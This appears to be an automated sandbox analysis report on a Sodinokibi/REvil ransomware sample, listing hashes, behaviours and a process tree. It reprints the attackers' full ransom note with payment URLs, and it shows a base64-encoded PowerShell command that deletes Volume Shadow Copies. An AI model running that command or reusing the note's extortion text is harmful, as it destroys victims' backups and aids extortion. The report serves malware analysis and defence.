Analysis

  • max time kernel
    118s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    02-04-2024 13:54

General

  • Target

    6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe

  • Size

    166KB

  • MD5

    44c753ed1faec948b0d98bc9ba047469

  • SHA1

    1aa2d575752dcfa73ea8bd2fa666e18588be353c

  • SHA256

    6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01

  • SHA512

    f7d4c3988f82839264e83c1a17024c695bd8ff31a224eba3cfc9e3712758be5450521c1e52c246b02dad0849bdf381ad40d77e9b5bab6f8135f07219c13047e0

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QoIeXt5KCn16:ZJ0BXScFy2RsQJ8zg9edTn1

Score
10/10

Malware Config

Extracted

Path

C:\Users\t54je3m-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion t54je3m. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FF33C9C38B668BDC 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/FF33C9C38B668BDC Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: usfaHcTTWdT+/AfXPHfTEi78/ojTYD0peq43LZO6pgyO+fjvfpXmhZlhhg1mayO1 kf3o67fV7KjGqaLb8weYY9lVMvkzUU32vcgxuVuAy50Jt+2QKvSTdNR4EiLVHpw3 coOcgdOtMEyaNiifQJRTPi+jVANIRSEr1ag/RXfFd8AyzsudioXqpeIeDCVa56dN 4feBAs2KjR7a7Z0UvOVM/oIYJKxarNcxuKlDcINCFmrJA7WEaOcxXTfEKgMj+xQI VLQltSiQd2ZEBq815nSDLJ2OKhBJLcLl/JH3QLKSVTCqkk2IgdMBMh3IAFirOb/M rAnVTnoQ1gMNgFzYwqA204S1HtDLj9EQVeyaTEAcCFlyju74UDS4qp7VPtTtEw8B GqlJsrW4aYer4o3ja+4UTYzJ13BAwKdW6UrpoPwsPpirBN4vSW4s/fDyKuWPFv3o MHndZLiuT/80t8x2+kvX29y/Qc32sOHY1GXNikxj54NQxQ8CkS5gj2r1Hc3T7Bgl 1vKkzUTMJK8sxakzxg6M67hjJWubE46B9xZJRnCBZedlCgTDXx71UqqI+Uk30md1 VkUxzrV8GbJiqK62fmoUrwhva5DlKNIBNDRlWQKHpfOdbBCENY+b3Pdtdfm3R5Oo SRlWcyEMCxfyKSaObhLm1iqqXkVtmHLm1Sg02dujqJjayQ4eWG3AeqpfHpHRmynW j6bKtBuBAG8XtIaoHt60XwAmsYVN8uOVG/PLGX0oGbWRcZiwtbyBvrTZRVqu64Sr TTlKbwMfkll5N1dw3tQQ5jRaqmD+reDKWbRwYwstphvXh6mxbdjt9Ra8X8cRVDBo ZaEKG6eflYqVAL2y2UHf35QJJ7bBQ0e1tK1PN8IMK8N1cMqoOCTsAL1g/bsjUDEA 1AVNEtu7+0Thwi9ZHxElZadRkFyF9RVek/1bxj3apuVbLy8zWpEXBZ/rZFU9PAH/ 3oi/98r9QIBnAKy7ljQUraF4DY+IXMCPdRSL4GGUmkuJwX6SE3JCV1OurmPCTv6Z EnYZveFml4UsXABcv5S2Dy/c2X2NzTSq7uMvXhKRk0CN22YSHLOYvYKhtxorgF1K XF6V7ZlBemjqOhklUFmbUvvowyqAemtQPB7okj4AvadHeha0d8a/KI2KNeUGmXaf fQdc0jgfTCYo4xqrUYbc5GxvGlAwBl+21x6aozInhOBGyo5EuhsXv5mjD3a8YdEr GtSvaWGDbLtysGKcNaMP3qEKsQ56Mrw1Y0PSm0rbBvuXGSZ9J2CUUUckv4W07pWk uyCe1DSfT576y5rprbtw28c8zLMo0/GQacTIhAe3pwX3H+xTFhI7MNuQUVwGI/cq YmKbScSjMrY6+sYUM04HPQFwP9h9Yp81xoSC4WbuTW0= Extension name: t54je3m ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FF33C9C38B668BDC

http://decryptor.cc/FF33C9C38B668BDC

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
    "C:\Users\Admin\AppData\Local\Temp\6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"
    1⤵
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1136
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2836
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2636

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\t54je3m-readme.txt

      Filesize

      6KB

      MD5

      3c9c62c94310c46280dbfde08011de64

      SHA1

      c250864bd21deb4339bfbcacba4b2b33cfbb4eac

      SHA256

      13526b70f86c0fa6df72295c30998673bcaa91588f5a57c947a6cbd3747a320d

      SHA512

      1a5fb59a49dccf827735d80e2c370b06e8a373c9fb44dcaa9a8e5117ecdb567e871605def1be7d85098e41cb0289770149a5156becdd359de27caace649fb642

    • memory/1136-11-0x0000000002620000-0x00000000026A0000-memory.dmp

      Filesize

      512KB

    • memory/1136-10-0x000007FEF6060000-0x000007FEF69FD000-memory.dmp

      Filesize

      9.6MB

    • memory/1136-9-0x0000000002620000-0x00000000026A0000-memory.dmp

      Filesize

      512KB

    • memory/1136-8-0x0000000002620000-0x00000000026A0000-memory.dmp

      Filesize

      512KB

    • memory/1136-7-0x0000000002620000-0x00000000026A0000-memory.dmp

      Filesize

      512KB

    • memory/1136-6-0x000007FEF6060000-0x000007FEF69FD000-memory.dmp

      Filesize

      9.6MB

    • memory/1136-5-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

      Filesize

      32KB

    • memory/1136-4-0x000000001B310000-0x000000001B5F2000-memory.dmp

      Filesize

      2.9MB

    • memory/1136-12-0x000007FEF6060000-0x000007FEF69FD000-memory.dmp

      Filesize

      9.6MB